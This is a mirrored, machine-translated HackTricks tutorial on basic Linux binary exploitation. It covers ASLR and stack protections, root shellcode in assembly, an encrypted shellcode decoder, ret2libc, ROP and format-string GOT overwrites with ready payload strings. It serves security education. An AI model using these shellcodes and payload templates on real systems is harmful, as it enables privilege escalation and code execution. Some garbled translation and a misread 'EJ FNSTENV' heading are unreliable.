mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
1057 lines
71 KiB
Markdown
1057 lines
71 KiB
Markdown
# Linux Exploiting (Basique) (SPA)
|
||
|
||
## Linux Exploiting (Basique) (SPA)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## **ASLR**
|
||
|
||
Address Space Layout Randomization
|
||
|
||
**Désactiver la randomisation (ASLR) GLOBALE (root)**:\
|
||
echo 0 > /proc/sys/kernel/randomize\_va\_space\
|
||
Réactiver la randomisation GLOBALE : echo 2 > /proc/sys/kernel/randomize\_va\_space
|
||
|
||
**Désactiver pour une exécution** (ne nécessite pas les droits root) :\
|
||
setarch \`arch\` -R ./exemple arguments\
|
||
setarch \`uname -m\` -R ./exemple arguments
|
||
|
||
**Désactiver la protection de l'exécution sur la pile**\
|
||
gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack exemple.c -o exemple
|
||
|
||
**Fichier core**\
|
||
ulimit -c unlimited\
|
||
gdb /exec fichier_core\
|
||
/etc/security/limits.conf -> \* soft core unlimited
|
||
|
||
**Texte**\
|
||
**Données**\
|
||
**BSS**\
|
||
**Heap**
|
||
|
||
**Pile**
|
||
|
||
**Section BSS**: Variables globales ou statiques non initialisées
|
||
```
|
||
static int i;
|
||
```
|
||
**Section DATA**: Variables globales ou statiques initialisées
|
||
```
|
||
int i = 5;
|
||
```
|
||
**Section TEXT**: Code instructions (opcodes)
|
||
|
||
**Section HEAP**: Dynamically allocated buffers (malloc(), calloc(), realloc())
|
||
|
||
**Section STACK**: The stack (Passed arguments, environment strings (env), local variables...)
|
||
|
||
## **1. DÉBORDEMENTS DE PILE**
|
||
|
||
> Débordement de tampon, dépassement de tampon, dépassement de pile, écrasement de pile
|
||
|
||
Segmentation fault: When attempting to access a memory address that has not been assigned to the process.
|
||
|
||
To obtain the address of a function within a program, you can do:
|
||
```
|
||
objdump -d ./PROGRAMA | grep FUNCION
|
||
```
|
||
## ROP
|
||
|
||
### Appel à sys\_execve
|
||
|
||
{% content-ref url="rop-syscall-execv.md" %}
|
||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||
{% endcontent-ref %}
|
||
|
||
## **2.SHELLCODE**
|
||
|
||
Voir les interruptions du noyau : cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep "\_\_NR\_"
|
||
|
||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||
execve("/bin/sh", args\[], NULL); // \_\_NR\_execve 11\
|
||
exit(0); // \_\_NR\_exit 1
|
||
|
||
xor eax, eax ; nettoyer eax\
|
||
xor ebx, ebx ; ebx = 0 car il n'y a pas d'argument à passer\
|
||
mov al, 0x01 ; eax = 1 -> \_\_NR\_exit 1\
|
||
int 0x80 ; Exécuter l'appel système
|
||
|
||
**nasm -f elf assembly.asm** -> Renvoie un fichier .o\
|
||
**ld assembly.o -o shellcodeout** -> Donne un exécutable composé du code assembleur et nous pouvons extraire les opcodes avec **objdump**\
|
||
**objdump -d -Mintel ./shellcodeout** -> Pour vérifier que c'est bien notre shellcode et extraire les opcodes
|
||
|
||
**Vérifier que le shellcode fonctionne**
|
||
```
|
||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||
|
||
void main(){
|
||
void (*fp) (void);
|
||
fp = (void *)shellcode;
|
||
fp();
|
||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
Pour vérifier que les appels système sont effectués correctement, vous devez compiler le programme précédent et les appels système doivent apparaître dans **strace ./PROGRAMA\_COMPILADO**
|
||
|
||
Lors de la création de shellcodes, vous pouvez utiliser une astuce. La première instruction est un saut vers un appel. L'appel appelle le code d'origine et place également l'EIP dans la pile. Après l'instruction call, nous avons inséré la chaîne dont nous avions besoin, de sorte qu'avec cet EIP, nous pouvons pointer vers la chaîne et continuer à exécuter le code.
|
||
|
||
EX **ASTUCE (/bin/sh)**:
|
||
```
|
||
jmp 0x1f ; Salto al último call
|
||
popl %esi ; Guardamos en ese la dirección al string
|
||
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
||
xorl %eax, %eax ; eax = NULL
|
||
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
||
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
||
movl $0xb, %eax ; Syscall 11
|
||
movl %esi, %ebx ; arg1=“/bin/sh”
|
||
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
||
leal 0xc(%esi), %edx ; arg3 = NULL
|
||
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
||
xorl %ebx, %ebx ; ebx = NULL
|
||
movl %ebx, %eax
|
||
inc %eax ; Syscall 1
|
||
int $0x80 ; exit(0)
|
||
call -0x24 ; Salto a la primera instrución
|
||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
**Exploitation en utilisant le Stack (/bin/sh) :**
|
||
```
|
||
section .text
|
||
global _start
|
||
_start:
|
||
xor eax, eax ;Limpieza
|
||
mov al, 0x46 ; Syscall 70
|
||
xor ebx, ebx ; arg1 = 0
|
||
xor ecx, ecx ; arg2 = 0
|
||
int 0x80 ; setreuid(0,0)
|
||
xor eax, eax ; eax = 0
|
||
push eax ; “\0”
|
||
push dword 0x68732f2f ; “//sh”
|
||
push dword 0x6e69622f; “/bin”
|
||
mov ebx, esp ; arg1 = “/bin//sh\0”
|
||
push eax ; Null -> args[1]
|
||
push ebx ; “/bin/sh\0” -> args[0]
|
||
mov ecx, esp ; arg2 = args[]
|
||
mov al, 0x0b ; Syscall 11
|
||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||
```
|
||
**EJ FNSTENV:**
|
||
|
||
EJ FNSTENV est une technique d'exploitation utilisée pour exploiter les vulnérabilités de la pile d'exécution sur les systèmes Linux. Cette technique est basée sur l'utilisation de l'instruction FNSTENV pour obtenir le contexte de la pile d'exécution et extraire les valeurs des registres. Ces valeurs peuvent ensuite être utilisées pour analyser et exploiter les vulnérabilités présentes dans le programme cible.
|
||
|
||
L'exploitation de FNSTENV peut être utilisée pour contourner les mécanismes de protection tels que l'ASLR (Address Space Layout Randomization) et le DEP (Data Execution Prevention). En obtenant les valeurs des registres, un attaquant peut déterminer l'emplacement exact de la pile d'exécution et exécuter du code malveillant.
|
||
|
||
Il est important de noter que l'utilisation de cette technique nécessite des connaissances avancées en programmation et en exploitation de vulnérabilités. Elle doit être utilisée à des fins légales, telles que les tests de pénétration autorisés et la recherche en sécurité informatique. L'utilisation de cette technique sans autorisation est illégale et peut entraîner des conséquences juridiques.
|
||
```
|
||
fabs
|
||
fnstenv [esp-0x0c]
|
||
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
||
…
|
||
```
|
||
**Chasseur d'œufs :**
|
||
|
||
Il s'agit d'un petit code qui parcourt les pages de mémoire associées à un processus à la recherche de la shellcode qui y est stockée (il recherche une signature spécifique dans la shellcode). Utile dans les cas où il n'y a qu'un petit espace pour injecter du code.
|
||
|
||
**Shellcodes polymorphiques**
|
||
|
||
Il s'agit de shells chiffrés qui contiennent un petit code pour les déchiffrer et y sauter, en utilisant l'astuce Call-Pop. Voici un **exemple de chiffrement de César** :
|
||
```
|
||
global _start
|
||
_start:
|
||
jmp short magic
|
||
init:
|
||
pop esi
|
||
xor ecx, ecx
|
||
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
||
desc:
|
||
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
||
sub cl, 1
|
||
jnz desc
|
||
jmp short sc
|
||
magic:
|
||
call init
|
||
sc:
|
||
;Aquí va el shellcode
|
||
```
|
||
1. **Attaquer le Frame Pointer (EBP)**
|
||
|
||
Utile dans une situation où nous pouvons modifier l'EBP mais pas l'EIP.
|
||
|
||
Il est connu que lorsqu'une fonction se termine, le code assembleur suivant est exécuté :
|
||
```
|
||
movl %ebp, %esp
|
||
popl %ebp
|
||
ret
|
||
```
|
||
De cette façon, il est possible de modifier l'EBP en sortant d'une fonction (fvuln) qui a été appelée par une autre fonction, lorsque la fonction qui a appelé fvuln se termine, son EIP peut être modifié.
|
||
|
||
Dans fvuln, il est possible d'introduire un faux EBP qui pointe vers un emplacement où se trouve l'adresse de la shellcode + 4 (il faut ajouter 4 pour le pop). Ainsi, en sortant de la fonction, la valeur de &(\&Shellcode)+4 sera placée dans ESP, avec le pop, 4 sera soustrait à ESP et il pointera vers l'adresse de la shellcode lors de l'exécution du ret.
|
||
|
||
**Exploit :**\
|
||
\&Shellcode + "AAAA" + SHELLCODE + padding + &(\&Shellcode)+4
|
||
|
||
**Exploit Off-by-One :**\
|
||
Il est possible de modifier uniquement le byte de poids le moins significatif de l'EBP. Une attaque similaire à celle décrite précédemment peut être réalisée, mais la mémoire qui stocke l'adresse de la shellcode doit partager les 3 premiers octets avec l'EBP.
|
||
|
||
## **4. Méthodes return to Libc**
|
||
|
||
Cette méthode est utile lorsque la pile n'est pas exécutable ou laisse peu d'espace pour la modification.
|
||
|
||
L'ASLR fait en sorte que les fonctions soient chargées à des emplacements différents en mémoire à chaque exécution. Par conséquent, cette méthode peut ne pas être efficace dans ce cas. Pour les serveurs distants, comme le programme est constamment exécuté à la même adresse, cette méthode peut être utile.
|
||
|
||
* **cdecl (C declaration)** : Les arguments sont placés sur la pile et la pile est nettoyée après la sortie de la fonction.
|
||
* **stdcall (standard call)** : Les arguments sont placés sur la pile et c'est la fonction appelée qui la nettoie.
|
||
* **fastcall** : Les deux premiers arguments sont placés dans des registres et les autres sur la pile.
|
||
|
||
On place l'adresse de l'instruction system de libc et on lui passe en argument la chaîne "/bin/sh", généralement à partir d'une variable d'environnement. De plus, on utilise l'adresse de la fonction exit pour que le programme se termine sans problème une fois que la shell n'est plus nécessaire (et pour éviter d'écrire des journaux).
|
||
|
||
**export SHELL=/bin/sh**
|
||
|
||
Pour trouver les adresses dont nous avons besoin, nous pouvons regarder à l'intérieur de **GDB :**\
|
||
**p system**\
|
||
**p exit**\
|
||
**rabin2 -i executable** —> Donne l'adresse de toutes les fonctions utilisées par le programme lorsqu'il est chargé\
|
||
(Dans un start ou un autre point d'arrêt) : **x/500s $esp** —> Nous recherchons ici la chaîne /bin/sh
|
||
|
||
Une fois que nous avons ces adresses, l'**exploit** serait le suivant :
|
||
|
||
"A" \* DISTANCE EBP + 4 (EBP : cela peut être 4 "A" mais il est préférable que ce soit le vrai EBP pour éviter les erreurs de segmentation) + Adresse de **system** (qui écrasera l'EIP) + Adresse de **exit** (lorsque system("/bin/sh") se termine, cette fonction sera appelée car les 4 premiers octets de la pile sont traités comme l'adresse suivante de l'EIP à exécuter) + Adresse de "**/bin/sh**" (ce sera le paramètre passé à system)
|
||
|
||
De cette manière, l'EIP sera écrasé par l'adresse de system, qui recevra la chaîne "/bin/sh" en tant que paramètre, et lorsqu'elle se terminera, la fonction exit() sera exécutée.
|
||
|
||
Il est possible que l'un des octets d'une adresse d'une fonction soit nul ou un espace (\x20). Dans ce cas, il est possible de désassembler les adresses précédant cette fonction, car il y a probablement plusieurs NOPs qui nous permettront d'appeler l'un d'entre eux plutôt que la fonction directement (par exemple avec > x/8i system-4).
|
||
|
||
Cette méthode fonctionne car lorsqu'une fonction comme system est appelée en utilisant l'opcode **ret** au lieu de **call**, la fonction comprend que les 4 premiers octets seront l'adresse **EIP** à laquelle revenir.
|
||
|
||
Une technique intéressante avec cette méthode consiste à appeler **strncpy()** pour déplacer une charge utile de la pile vers le tas, puis utiliser **gets()** pour exécuter cette charge utile.
|
||
|
||
Une autre technique intéressante est l'utilisation de **mprotect()**, qui permet d'attribuer les autorisations souhaitées à n'importe quelle partie de la mémoire. Cela fonctionne ou fonctionnait sur BDS, MacOS et OpenBSD, mais pas sur Linux (qui empêche l'attribution simultanée des autorisations d'écriture et d'exécution). Avec cette attaque, il serait possible de rétablir l'exécution de la pile.
|
||
|
||
**Enchaînement de fonctions**
|
||
|
||
Basé sur la technique précédente, cette forme d'exploit consiste en :\
|
||
Remplissage + \&Fonction1 + \&pop;ret; + \&arg\_fun1 + \&Fonction2 + \&pop;ret; + \&arg\_fun2 + ...
|
||
|
||
De cette manière, il est possible d'enchaîner des fonctions à appeler. De plus, si l'on souhaite utiliser des fonctions avec plusieurs arguments, on peut placer les arguments nécessaires (par exemple 4) et rechercher une adresse contenant les opcodes : pop, pop, pop, pop, ret —> **objdump -d executable**
|
||
|
||
**Enchaînement en falsifiant les frames (enchaînement des EBPs)**
|
||
|
||
Il s'agit de profiter de la possibilité de manipuler l'EBP pour enchaîner l'exécution de plusieurs fonctions à travers l'EBP et "leave;ret"
|
||
|
||
REMPLISSAGE
|
||
|
||
* On place dans l'EBP un faux EBP qui pointe vers : 2ème faux EBP + la fonction à exécuter : (\&system() + \&leave;ret + &"/bin/sh")
|
||
* Dans l'EIP, on met comme adresse une fonction &(leave;ret)
|
||
|
||
On initialise la shellcode avec l'adresse de la partie suivante de la shellcode, par exemple : 2ème EBP\_falso + \&system() + &(leave;ret;) + &"/bin/sh"
|
||
|
||
le 2ème EBP serait : 3ème EBP\_falso + \&system() + &(leave;ret;) + &"/bin/ls"
|
||
|
||
Cette shellcode peut être répétée indéfiniment dans les parties de mémoire auxquelles on a accès, de sorte qu'une shellcode facilement divisible en petits morceaux de mémoire est obtenue.
|
||
|
||
(L'exécution de fonctions est enchaînée en mélangeant les vulnérabilités précédemment mentionnées d'EBP et de ret2lib)
|
||
## **5. Méthodes complémentaires**
|
||
|
||
**Ret2Ret**
|
||
|
||
Utiles lorsque vous ne pouvez pas insérer une adresse de la pile dans l'EIP (vérifiez que l'EIP ne contient pas 0xbf) ou lorsque vous ne pouvez pas calculer l'emplacement du shellcode. Cependant, la fonction vulnérable accepte un paramètre (le shellcode ira ici).
|
||
|
||
De cette manière, en changeant l'EIP par une adresse de **ret**, la prochaine adresse sera chargée (qui est l'adresse du premier argument de la fonction). Autrement dit, le shellcode sera chargé.
|
||
|
||
L'exploit serait: SHELLCODE + Remplissage (jusqu'à EIP) + **\&ret** (les octets suivants de la pile pointent vers le début du shellcode car l'adresse du paramètre passé est insérée dans la pile)
|
||
|
||
Il semble que des fonctions telles que **strncpy**, une fois terminées, suppriment de la pile l'adresse où le shellcode était stocké, rendant cette technique impossible. Autrement dit, l'adresse passée à la fonction en tant qu'argument (celle qui stocke le shellcode) est modifiée par un 0x00, donc lorsque le deuxième **ret** est appelé, il rencontre un 0x00 et le programme se termine.
|
||
```
|
||
**Ret2PopRet**
|
||
```
|
||
Si nous n'avons pas le contrôle sur le premier argument mais sur le deuxième ou le troisième, nous pouvons écraser EIP avec une adresse pop-ret ou pop-pop-ret, selon celle dont nous avons besoin.
|
||
|
||
**Technique de Murat**
|
||
|
||
Sur Linux, tous les programmes sont mappés à partir de 0xbfffffff.
|
||
|
||
En examinant comment la pile d'un nouveau processus est construite sur Linux, nous pouvons développer une exploitation de manière à ce que le programme soit lancé dans un environnement dont la seule variable est le shellcode. L'adresse de cette variable peut alors être calculée comme suit : addr = 0xbfffffff - 4 - strlen(NOM\_executable\_complet) - strlen(shellcode)
|
||
|
||
De cette manière, nous obtenons facilement l'adresse de la variable d'environnement contenant le shellcode.
|
||
|
||
Cela est possible grâce à la fonction execle, qui permet de créer un environnement ne contenant que les variables d'environnement souhaitées.
|
||
|
||
**Jump to ESP : Style Windows**
|
||
|
||
Étant donné que ESP pointe toujours vers le début de la pile, cette technique consiste à remplacer EIP par l'adresse d'un appel à **jmp esp** ou **call esp**. Ainsi, le shellcode est sauvegardé après l'écrasement d'EIP, car après l'exécution de **ret**, ESP pointe vers l'adresse suivante, là où le shellcode a été sauvegardé.
|
||
|
||
Si ASLR n'est pas activé sur Windows ou Linux, il est possible d'appeler **jmp esp** ou **call esp** stockés dans un objet partagé. Si ASLR est activé, il est possible de rechercher à l'intérieur du programme vulnérable lui-même.
|
||
|
||
De plus, le fait de pouvoir placer le shellcode après la corruption d'EIP plutôt qu'au milieu de la pile permet d'éviter que les instructions push ou pop exécutées au milieu de la fonction n'interfèrent avec le shellcode (ce qui pourrait se produire s'il était placé au milieu de la pile de la fonction).
|
||
|
||
De manière similaire, si nous savons qu'une fonction renvoie l'adresse où le shellcode est stocké, nous pouvons appeler **call eax** ou **jmp eax (ret2eax)**.
|
||
|
||
**ROP (Return Oriented Programming) ou fragments de code empruntés**
|
||
|
||
Les fragments de code invoqués sont appelés gadgets.
|
||
|
||
Cette technique consiste à enchaîner différents appels de fonctions en utilisant la technique **ret2libc** et l'utilisation de **pop,ret**.
|
||
|
||
Sur certaines architectures de processeurs, chaque instruction est un ensemble de 32 bits (par exemple, MIPS). Cependant, sur Intel, les instructions ont une taille variable et plusieurs instructions peuvent partager un ensemble de bits, par exemple :
|
||
|
||
**movl $0xe4ff, -0x(%ebp)** -> Contient les octets 0xffe4, qui se traduisent également par : **jmp \*%esp**
|
||
|
||
De cette manière, il est possible d'exécuter certaines instructions qui ne sont même pas présentes dans le programme d'origine.
|
||
|
||
**ROPgadget.py** nous aide à trouver des valeurs dans les binaires.
|
||
|
||
Ce programme permet également de créer les **payloads**. Vous pouvez lui donner la bibliothèque à partir de laquelle vous souhaitez extraire les ROP et il générera un payload en python auquel vous fournissez l'adresse de cette bibliothèque, et le payload est prêt à être utilisé comme shellcode. De plus, comme il utilise des appels système, il n'exécute rien réellement dans la pile, mais il enregistre simplement les adresses des ROP qui seront exécutées via **ret**. Pour utiliser ce payload, il faut appeler le payload à l'aide d'une instruction **ret**.
|
||
|
||
**Débordements d'entiers**
|
||
|
||
Ce type de débordement se produit lorsque une variable n'est pas préparée pour supporter un nombre aussi grand que celui qui lui est passé, peut-être en raison d'une confusion entre les variables signées et non signées, par exemple :
|
||
```c
|
||
#include <stdion.h>
|
||
#include <string.h>
|
||
#include <stdlib.h>
|
||
|
||
int main(int argc, char *argv[]){
|
||
int len;
|
||
unsigned int l;
|
||
char buffer[256];
|
||
int i;
|
||
len = l = strtoul(argv[1], NULL, 10);
|
||
printf("\nL = %u\n", l);
|
||
printf("\nLEN = %d\n", len);
|
||
if (len >= 256){
|
||
printf("\nLongitus excesiva\n");
|
||
exit(1);
|
||
}
|
||
if(strlen(argv[2]) < l)
|
||
strcpy(buffer, argv[2]);
|
||
else
|
||
printf("\nIntento de hack\n");
|
||
return 0;
|
||
}
|
||
```
|
||
Dans l'exemple précédent, nous voyons que le programme attend 2 paramètres. Le premier est la longueur de la chaîne suivante et le deuxième est la chaîne elle-même.
|
||
|
||
Si nous passons un nombre négatif comme premier paramètre, il sera indiqué que len < 256 et nous passerons donc cette vérification. De plus, strlen(buffer) sera inférieur à l, car l est un unsigned int et sera très grand.
|
||
|
||
Ce type de dépassement de tampon ne vise pas à écrire quelque chose dans le processus du programme, mais à contourner des filtres mal conçus pour exploiter d'autres vulnérabilités.
|
||
|
||
**Variables non initialisées**
|
||
|
||
On ne sait pas quelle valeur peut prendre une variable non initialisée et il peut être intéressant de l'observer. Il se peut qu'elle prenne la valeur d'une variable de la fonction précédente et soit contrôlée par l'attaquant.
|
||
|
||
## **Chaînes de format**
|
||
|
||
En C, **`printf`** est une fonction qui peut être utilisée pour **afficher** une chaîne de caractères. Le **premier paramètre** que cette fonction attend est le **texte brut avec les formateurs**. Les **paramètres suivants** attendus sont les **valeurs** à **substituer** aux **formateurs** du texte brut.
|
||
|
||
La vulnérabilité apparaît lorsque le **texte de l'attaquant est mis en tant que premier argument** de cette fonction. L'attaquant pourra créer une **entrée spéciale en abusant des capacités de formatage de printf** pour **écrire n'importe quelle donnée à n'importe quelle adresse**. Ainsi, il pourra **exécuter du code arbitraire**.
|
||
|
||
Formateurs :
|
||
```bash
|
||
%08x —> 8 hex bytes
|
||
%d —> Entire
|
||
%u —> Unsigned
|
||
%s —> String
|
||
%n —> Number of written bytes
|
||
%hn —> Occupies 2 bytes instead of 4
|
||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||
```
|
||
**`%n`** **écrit** le **nombre d'octets écrits** à l'**adresse indiquée**. En écrivant autant d'**octets** que le nombre hexadécimal que nous **devons** écrire, vous pouvez **écrire n'importe quelle donnée**.
|
||
```bash
|
||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||
AAAA.%500\$08x —> Param at offset 500
|
||
```
|
||
### GOT (Global Offsets Table) / PLT (Procedure Linkage Table)
|
||
|
||
C'est la table qui contient l'**adresse** des **fonctions externes** utilisées par le programme.
|
||
|
||
Obtenez l'adresse de cette table avec : **`objdump -s -j .got ./exec`**
|
||
|
||
![](<../../.gitbook/assets/image (619).png>)
|
||
|
||
Remarquez comment après le **chargement** de l'**exécutable** dans GEF, vous pouvez **voir** les **fonctions** qui se trouvent dans le **GOT** : `gef➤ x/20x 0xDIR_GOT`
|
||
|
||
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
|
||
|
||
En utilisant GEF, vous pouvez **démarrer** une **session de débogage** et exécuter **`got`** pour voir la table got :
|
||
|
||
![](<../../.gitbook/assets/image (621).png>)
|
||
|
||
Dans un binaire, le GOT contient les **adresses des fonctions ou** de la **section PLT** qui va charger l'adresse de la fonction. L'objectif de cette exploitation est de **modifier l'entrée GOT** d'une fonction qui sera exécutée ultérieurement **avec** l'**adresse** de la PLT de la **fonction `system`**. Idéalement, vous allez **modifier** le **GOT** d'une **fonction** qui va être **appelée avec des paramètres contrôlés par vous** (ainsi vous pourrez contrôler les paramètres envoyés à la fonction système).
|
||
|
||
Si la fonction **`system`** n'est **pas utilisée** par le script, la fonction system **n'aura pas d'entrée dans le GOT**. Dans ce scénario, vous devrez **d'abord obtenir l'adresse** de la fonction `system`.
|
||
|
||
La **Procedure Linkage Table** est une table **en lecture seule** dans le fichier ELF qui stocke tous les **symboles nécessitant une résolution**. Lorsqu'une de ces fonctions est appelée, le GOT **redirige** le **flux** vers la PLT afin de résoudre l'adresse de la fonction et de l'écrire dans le GOT. Ensuite, la **prochaine fois** qu'un appel est effectué à cette adresse, la fonction est **appelée directement** sans avoir besoin de la résoudre.
|
||
|
||
Vous pouvez voir les adresses de la PLT avec **`objdump -j .plt -d ./vuln_binary`**
|
||
|
||
### **Flux d'exploitation**
|
||
|
||
Comme expliqué précédemment, l'objectif va être de **modifier** l'**adresse** d'une **fonction** dans la table **GOT** qui sera appelée ultérieurement. Idéalement, nous pourrions définir l'**adresse sur un shellcode** situé dans une section exécutable, mais il est très probable que vous ne puissiez pas écrire de shellcode dans une section exécutable.\
|
||
Une autre option consiste donc à **modifier** une **fonction** qui **reçoit** ses **arguments** de l'**utilisateur** et à la **rediriger** vers la **fonction `system`**.
|
||
|
||
Pour écrire l'adresse, généralement 2 étapes sont effectuées : vous **écrivez d'abord 2 octets** de l'adresse, puis les 2 autres. Pour ce faire, on utilise **`$hn`**.
|
||
|
||
**HOB** est utilisé pour les 2 octets les plus élevés de l'adresse\
|
||
**LOB** est utilisé pour les 2 octets les plus bas de l'adresse
|
||
|
||
Ainsi, en raison du fonctionnement des chaînes de format, vous devez **d'abord écrire le plus petit** de \[HOB, LOB] puis l'autre.
|
||
|
||
Si HOB < LOB\
|
||
`[adresse+2][adresse]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||
|
||
Si HOB > LOB\
|
||
`[adresse+2][adresse]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||
|
||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||
|
||
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
|
||
|
||
### **Modèle d'exploitation des chaînes de format**
|
||
|
||
Vous pouvez trouver un **modèle** pour exploiter le GOT en utilisant les chaînes de format ici :
|
||
|
||
{% content-ref url="format-strings-template.md" %}
|
||
[format-strings-template.md](format-strings-template.md)
|
||
{% endcontent-ref %}
|
||
|
||
### **.fini\_array**
|
||
|
||
Essentiellement, il s'agit d'une structure avec des **fonctions qui seront appelées** avant la fin du programme. C'est intéressant si vous pouvez appeler votre **shellcode en sautant à une adresse**, ou dans les cas où vous devez revenir à la fonction main pour **exploiter la chaîne de format une deuxième fois**.
|
||
```bash
|
||
objdump -s -j .fini_array ./greeting
|
||
|
||
./greeting: file format elf32-i386
|
||
|
||
Contents of section .fini_array:
|
||
8049934 a0850408
|
||
|
||
#Put your address in 0x8049934
|
||
```
|
||
Notez que cela ne créera pas de boucle infinie car lorsque vous revenez à la fonction principale, le canary le remarquera, la fin de la pile pourrait être corrompue et la fonction ne sera pas rappelée. Ainsi, avec cela, vous pourrez avoir une exécution supplémentaire de la vulnérabilité.
|
||
|
||
### Utilisation des chaînes de format pour extraire du contenu
|
||
|
||
Une chaîne de format peut également être utilisée pour extraire du contenu de la mémoire du programme. Par exemple, dans la situation suivante, il y a une variable locale dans la pile qui pointe vers un drapeau. Si vous trouvez où se trouve en mémoire le pointeur vers le drapeau, vous pouvez faire en sorte que `printf` accède à cette adresse et affiche le drapeau :
|
||
|
||
Ainsi, le drapeau est à l'adresse 0xffffcf4c.
|
||
|
||
![](<../../.gitbook/assets/image (618) (2).png>)
|
||
|
||
Et à partir de la fuite, vous pouvez voir que le pointeur vers le drapeau est le 8e paramètre :
|
||
|
||
![](<../../.gitbook/assets/image (623).png>)
|
||
|
||
Donc, en accédant au 8e paramètre, vous pouvez obtenir le drapeau :
|
||
|
||
![](<../../.gitbook/assets/image (624).png>)
|
||
|
||
Notez qu'en suivant l'exploit précédent et en réalisant que vous pouvez extraire du contenu, vous pouvez définir des pointeurs vers `printf` dans la section où l'exécutable est chargé et le vider entièrement !
|
||
|
||
### DTOR
|
||
|
||
{% hint style="danger" %}
|
||
De nos jours, il est très rare de trouver un binaire avec une section dtor.
|
||
{% endhint %}
|
||
|
||
Les destructeurs sont des fonctions qui sont exécutées avant la fin du programme. Si vous parvenez à écrire une adresse vers un shellcode dans `__DTOR_END__`, cela sera exécuté avant la fin du programme. Obtenez l'adresse de cette section avec :
|
||
```bash
|
||
objdump -s -j .dtors /exec
|
||
rabin -s /exec | grep “__DTOR”
|
||
```
|
||
Généralement, vous trouverez la section **DTOR** **entre** les valeurs `ffffffff` et `00000000`. Donc, si vous voyez seulement ces valeurs, cela signifie qu'il **n'y a aucune fonction enregistrée**. Vous devez donc **écraser** le **`00000000`** avec l'**adresse** de la **shellcode** pour l'exécuter.
|
||
|
||
### **Chaînes de format pour les dépassements de tampon**
|
||
|
||
La fonction **sprintf** déplace une chaîne formatée vers une **variable**. Par conséquent, vous pouvez exploiter le **formatage** d'une chaîne pour provoquer un **dépassement de tampon dans la variable** où le contenu est copié.\
|
||
Par exemple, la charge utile `%.44xAAAA` écrira **44 octets+"AAAA" dans la variable**, ce qui peut provoquer un dépassement de tampon.
|
||
|
||
### **Structures \_\_atexit**
|
||
|
||
{% hint style="danger" %}
|
||
De nos jours, il est très **rare d'exploiter cela**.
|
||
{% endhint %}
|
||
|
||
**`atexit()`** est une fonction à laquelle d'autres fonctions sont passées en tant que paramètres. Ces **fonctions** seront **exécutées** lors de l'exécution d'un **`exit()`** ou du **retour** de la **fonction principale**.\
|
||
Si vous pouvez **modifier** l'**adresse** de l'une de ces **fonctions** pour qu'elle pointe vers une shellcode par exemple, vous **prendrez le contrôle** du **processus**, mais cela est actuellement plus compliqué.\
|
||
